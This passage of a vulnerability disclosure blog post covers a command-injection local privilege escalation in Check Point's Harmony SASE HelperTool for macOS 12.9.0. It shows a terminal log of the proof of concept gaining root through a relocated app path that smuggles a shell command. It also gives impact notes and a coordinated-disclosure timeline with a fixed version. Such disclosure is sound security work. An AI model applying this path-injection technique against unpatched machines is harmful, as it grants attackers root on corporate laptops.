  exit "${rc:-2}"
}

main "$@"

Lab proof

Standard user, no sudo — then root from the HelperTool path:

Terminal screenshot: sudo -v denied for user zero, then MODE=exploit confirms uid=0(root) via Harmony SASE HelperTool
bash-3.2$ date
Tue Jul 21 11:38:06 +04 2026
bash-3.2$ sudo -v
Sorry, user zero may not run sudo on Dhirajs-MacBook-Pro.
bash-3.2$
bash-3.2$ MODE=exploit ./harmony_sase_lpe_exploit.sh
[*] Harmony SASE HelperTool command-injection LPE PoC
[*] Workdir: /tmp/harmony_sase_helpertool_lpe
[*] Proof:   /tmp/harmony_sase_helpertool_lpe/proof/id.txt
[*] (1/5) Checking Harmony SASE target ...
    Bundle:  com.safervpn.osx.smb
    Version: 12.9.0
    Build:   11237
    Team:    924635PD62
[*] (2/5) Preparing relocated vendor-signed app copy ...
[*] Removing previous payload directory to avoid stale/partial copies.
[*] Copying signed app into injection path.
[*] Checking relocated app signature.
[*] Relocated app signature verification passed (SMAuthorizedClients will accept it).
    Relocated app: /tmp/harmony_sase_helpertool_lpe/poc'; /usr/bin/id > /tmp/harmony_sase_helpertool_lpe/proof/id.txt; /bin/chmod 0644 /tmp/harmony_sase_helpertool_lpe/proof/id.txt; #/Harmony SASE.app
[*] (3/5) Preparing proof path ...
    Proof file: /tmp/harmony_sase_helpertool_lpe/proof/id.txt
[!] Pristine Harmony SASE is running; it self-heals the daemon and starves the race.
[*] Asking pristine Harmony SASE to exit.
[*] (4/5) Triggering HelperTool installer path ...
[*] Enabled com.safervpn.osx.smb:shouldRelaunchDaemon=true for this run.
[*] Starting relocated app with silent-update relaunch trigger.
[*] Injection landed through silent-update relaunch trigger.
[*] (5/5) Verifying root proof ...
[+] CONFIRMED: HelperTool executed the fixed proof command as root.
    Proof file: /tmp/harmony_sase_helpertool_lpe/proof/id.txt
uid=0(root) gid=0(wheel) groups=0(wheel),1(daemon),2(kmem),3(sys),4(tty),5(operator),8(procview),9(procmod),12(everyone),20(staff),29(certusers),61(localaccounts),80(admin),701(com.apple.sharepoint.group.1),702(com.apple.sharepoint.group.2),33(_appstore),98(_lpadmin),100(_lpoperator),204(_developer),250(_analyticsusers),395(com.apple.access_ftp),398(com.apple.access_screensharing),399(com.apple.access_ssh),400(com.apple.access_remote_ae)
[*] Restoring app defaults and repairing daemon ...
[*] Removed temporary com.safervpn.osx.smb:shouldRelaunchDaemon flag.
[*] Repairing: launching pristine app to reinstall com.perimeter81d from a clean path.
bash-3.2$

Impact

A low-privileged local macOS user can run shell as root through Check Point’s privileged Harmony SASE HelperTool. Full local privilege escalation from a standard account on a client that shows up on a lot of corporate laptops. The HelperTool is a universal binary (x86_64 + arm64), so the same path covers Intel and Apple Silicon fleets.

Disclosure

I reported this to Check Point through their Bug Bounty program on HackerOne on 21 July 2026. They triaged it as High, confirmed the finding, and shipped the fix in Harmony SASE for macOS 12.9.1 (build 12074). Check Point will not publish a CVE for this one. This post is about the vulnerable build I confirmed in lab — 12.9.0 / 11237. If you still have 12.9.0 in the field, upgrade.

Quiet thanks to Gal Yogev and the Check Point team for the confirmation and the fix.

What I took away

If a root helper still builds bash -c from a path, check the quoting. “Signed by our Team ID” is not the same as “running from a trusted path.”

I found the bug by hand. Once the surface was pinned down, the model was good at writing the PoC. Context is king.


Check Point / Harmony SASE are mentioned here for technical discussion; this site is not affiliated with Check Point. Research was conducted in an authorized lab setting.